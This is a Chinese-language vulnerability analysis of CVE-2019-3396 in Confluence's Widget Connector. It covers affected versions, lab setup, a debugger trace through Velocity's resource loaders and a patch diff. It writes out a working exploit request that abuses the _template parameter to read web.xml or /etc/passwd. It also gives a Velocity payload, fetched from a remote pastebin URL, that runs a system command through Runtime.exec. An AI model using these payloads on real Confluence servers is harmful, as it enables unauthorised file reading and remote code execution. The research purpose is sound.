参考:
https://jira.atlassian.com/browse/CONFSERVER-57974
https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py
https://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/
https://paper.seebug.org/884/
详情:
服务端模版注入(Server-side Template Injection,SSTI),影响组件Widget Connector(小工具连接器)。
影响版本:
6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本
影响组件:
Widget Connector <=3.1.3
修复版本
6.6.12
6.12.3
6.13.3
6.14.2
6.15.1
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: cqq.com:443
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3670.0 Safari/537.36
Referer: https://cqq.com/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 168
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
或者改成file:///etc/passwd
读取passwd文件。网上有可以读passwd文件的,但是在本地搭建环境没有成功读到/etc/passwd。后来发现是跟版本有关。在6.13.0不能读取,而在6.9.0可以读取。
6.13.0:
6.9.0:
有的版本不需要referer,或者本身就不需要referer,而且有的版本对于UA解析有问题,可以直接删掉UA,参考:https://confluence.atlassian.com/cloudkb/xsrf-check-failed-when-calling-cloud-apis-826874382.html
据说可以利用远程文件包含,实现命令执行:
https://nosec.org/home/detail/2461.html
直接访问https页面,内容为:
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
https://pastebin.com/raw/X3WwMHgS
Velocity Template Language (VTL) Statement
模板语句的语法参考:https://velocity.apache.org/engine/devel/user-guide.html
经过测试,不需要登录的Cookie也可以执行。
$ wget https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.13.0.tar.gz
$ tar zxf atlassian-confluence-6.13.0.tar.gz
$ cd atlassian-confluence-6.13.0
$ vi ./confluence/WEB-INF/classes/confluence-init.properties #设置confluence的home目录,这里我设置为
#confluence.home=/home/cqq/confluence
$ vi ./conf/server.xml
将这段外的注释去掉,
然后就可以启动
$ bin/start-confluence.sh
启动之后访问8090端口,一步步完成安装。
安装过程之一如下:
之前都是安装mysql比较多,这次换用postgresql。具体命令可参考:https://blog.csdn.net/zhangzeyuaaa/article/details/77941039
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
在ubuntu上搭建运行环境,开启调试,
编辑bin/setenv.sh
。
添加:
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346 ${CATALINA_OPTS}" # for debug
然后再启动confluence:
bin/start-confluence.sh
然后在Mac上复制一份代码,导入IDEA,然后在IDEA中设置将widgetconnector-3.1.2.jar
加入到Libraries中。这样中IDEA中这个jar包才可以展开!
也可以Add as library
最后放弃了远程调试,直接在Mac本地搭建环境了。
参考:https://confluence.atlassian.com/doc/widget-connector-macro-171180449.html
插入(+)=> 其他宏 => 小工具连接器
点击预览功能时发的包里并没有_template
参数,需要手动加上。猜想这个漏洞应该是需要白盒审计才能发现吧。
定位一下,应该是这个jar包:
confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.2.jar
通过在IDEA中跟踪调用栈,发现大量的Filter的doFilter方法,所以以后这种不必单个跟,只需要把断点加在关键位置即可。
atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-rest-module-3.4.12.jar!/com/atlassian/plugins/rest/module/RestDelegatingServletFilter.class的doFilter方法。
然后会进入到:
当POST /rest/tinymce/1/macro/preview
,content-type为"application/json"
,会调用以下代码,返回的响应content-type为"text/plain"
。
atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-6.9.0.jar!/com/atlassian/confluence/tinymceplugin/rest/MacroResource.class
将断点下在atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.0.jar!/com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.class
的getEmbeddedHtml()
方法
等到程序停在断点处之后,跟踪一下调用栈,
发现已知的最早调用的是atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.0.jar!/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.class
的execute()
方法。
WidgetMacro.java
RendererManager是一个接口,DefaultRendererManager实现了它。
DefaultRendererManager.java
widgetRenderer.getEmbeddedHtml(url, params);
WidgetRenderer是一个接口,而YoutubeRenderer类实现了它。
YoutubeRenderer.java
VelocityRenderService是一个接口,DefaultVelocityRenderService类实现类它。
DefaultVelocityRenderService.java
若POST请求中的_template
的值为空,则将template设置为默认值:com/atlassian/confluence/extra/widgetconnector/templates/embed.vm
否则这里从POST请求中的_template
的值取出来,传入template,然后将POST请求中的所有参数放入contextMap,然后调用getRenderedTemplate(template, contextMap);
然后调用atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/velocity/VelocityUtils.class的一系列方法,最终进入66行的
renderTemplateWithoutSwallowingErrors((String)templateName, context, writer);
然后一路各种getTemplate(),来到
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/runtime/RuntimeInstance.class的getTemplate()方法。
将templateName的值file:///etc/passwd
作为参数传入,然后将内容写到writer中,然后在67行调用toString()方法将结果返回。
下面看66行renderTemplateWithoutSwallowingErrors执行的细节。
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.class
的getResource()方法中,先
String resourceKey = resourceType + resourceName; //1https://pastebin.com/raw/0Kj4aX8G
Resource resource = this.globalCache.get(resourceKey); // 先从globalCache中找,结果没找到,返回null。
然后if (resource != null)判断失败,进入else逻辑,
resource = this.loadResource(resourceName, resourceType, encoding); //resourceName的值为 https://pastebin.com/raw/0Kj4aX8G
接着往下跟,
resourceName虽然传进来了,但是并没有用到,而是只根据传进来的resourceType为1,然后就new了一个ConfluenceVelocityTemplateImpl返回,
然后设置其name为https://pastebin.com/raw/0Kj4aX8G
然后用四个Loader对resourceName进行轮番这样的:
InputStream resourceStream = resourceLoader.getResourceStream(resource.getName());
com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader
在atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/setup/velocity/DecoratorName.class的isSpaceDecoratorSource()方法中判断是否以@
开头,
若不是,则进入stripLeadingSlash()
判断是否以/
开头。
使用atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/velocity/Velocity13CompatibleResourceLoader.class
的getResourceStream()方法,返回null:
即,第一个com.atlassian.confluence.setup.velocity.HibernateResourceLoader
没有拿到东西;
接着往下,是第二个,org.apache.velocity.runtime.resource.loader.FileResourceLoader
:
返回一个File为/Users/caiqiqi/repos/atlassian-confluence-6.9.0/confluence/https:/pastebin.com/raw/0Kj4aX8G
,
最后抛出一个无法找到该文件的异常(因为有冒号,所以这个文件无法创建?):
猜想如果这里是相对路径的文件应该就可以拿到了。同样可以得知,即便在请求中的_template
参数值设置为/
开头的绝对路径,//TODO,也可以正常地通过相对路径拿到文件内容。
接着第三个,org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
(虽然IDEA中反编译的代码顺序都错了,但是还是得硬着头发继续跟…)
进入
result = ClassUtils.getResourceAsStream(this.getClass(), name);
此时一不小心跟过了,然后看到为监听的往pastebin.com的请求已经发出了!
说明就是在这个Loader里执行了HTTP请求!
重新跟了一下,发现是在
atlassian-confluence-6.9.0/lib/catalina.jar!/org/apache/catalina/loader/WebappClassLoaderBase.class的getResourceAsStream()方法的
stream = url.openStream();
这句话,真正打开了一个TCP连接,并发送这个url的请求,并将返回的数据赋值给stream。
Calling url.openStream() initiates a new TCP connection to the server that the URL resolves to. An HTTP GET request is then sent over the connection. If all goes right (i.e., 200 OK), the server sends back the HTTP response message that carries the data payload that is served up at the specified URL. You then need to read the bytes from the InputStream that the openStream() method returns in order to retrieve the data payload into your program.
来源:https://stackoverflow.com/questions/2778312/how-does-java-url-openstream-work
(附发送HTTP请求的过程:
)
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/util/ClassUtils.class
通过atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/velocity/VelocityUtils.class的renderTemplateWithoutSwallowingErrors(String templateName, Context context, Writer writer)传入templateName为https://pastebin.com/raw/0Kj4aX8G
,执行
Template template = getTemplate(templateName);
renderTemplateWithoutSwallowingErrors(template, context, writer);
具体的是这个方法的
template.merge(context, writer);
这句话。
跟进
((SimpleNode)this.data).render(ica, writer);
调用atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/runtime/parser/node/SimpleNode.class
的render()方法进行渲染(解析得到的模板内容)
具体就是一些解析VTL语言表达式的详情了,
有时间学习一下。按照语法,就是可以执行命令的。
至此,从在哪里发送HTTP请求,哪里对template语句进行解析,就清楚了。
再看看file:///etc/passwd
的情况:
先是第一个com.atlassian.confluence.setup.velocity.HibernateResourceLoader,依然返回null,然后是第二个org.apache.velocity.runtime.resource.loader.FileResourceLoader,
经过normalizePath()
之后,变成了/file:/etc/passwd
。
inputStream = this.findTemplate(path, template);
跟进findTemplate()方法。
经过拼接之后,file的值变成了/Users/caiqiqi/repos/atlassian-confluence-6.9.0/confluence/file:/etc/passwd
。这个file值不能canRead(),所以不能进入if (file.canRead())
,直接返回null。
The canRead()function is a part of File class in Java . This function determines whether the program can read the file denoted by the abstract path name.The function returns true if the abstract file path exists and the application is allowed to read the file.
返回抛出ResourceNotFoundException异常。
然后是第三个,org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader,
/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/src.zip!/java/lang/ClassLoader.java
然后是BundleDelegatingClassLoader:依然返回null,
然后交给atlassian-confluence-6.9.0/lib/catalina.jar!/org/apache/catalina/loader/WebappClassLoaderBase.class的getResourceAsStream()
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/org.apache.felix.framework-4.2.1.jar!/org/apache/felix/framework/URLHandlersStreamHandlerProxy.class的openConnection()
最终将访问url:file:///etc/passwd的内容写到writer中,
对于../web.xml
的payload,
由于是直接跟webapps没目录进行了拼接,这里可以进行路径穿越,进入上一级目录。
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/runtime/parser/node/SimpleNode.class的
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/runtime/parser/node/ASTSetDirective.class的render()方法。
this.left 为org.apache.velocity.runtime.parser.node.ASTReference
this.right为org.apache.velocity.runtime.parser.node.ASTExpression
。
执行命令的过程就是一直调用org.apache.velocity.runtime.parser.node.ASTReference
的execute()
方法的过程。
下载atlassian-confluence-6.13.2(存在漏洞版)和atlassian-confluence-6.13.3(修复版)
提取其中的widgetconnector-3.1.3.jar和widgetconnector-3.1.4.jar,用jd导出java代码,然后用icdiff进行对比。(论好的diff工具的重要性!)
icdiff widgetconnector-3.1.3/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.java widgetconnector-3.1.4/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.java
给出了一个列表,这个列表里有一个字符串,_template
,对于HTTP POST请求过来的参数parameter上进行解析时,去除掉_template
这个字段,从而杜绝了从_template
字段进行模板注入的风险。#TODO 对比其他jar包,查找有没有关于此漏洞或者其他方面的发现。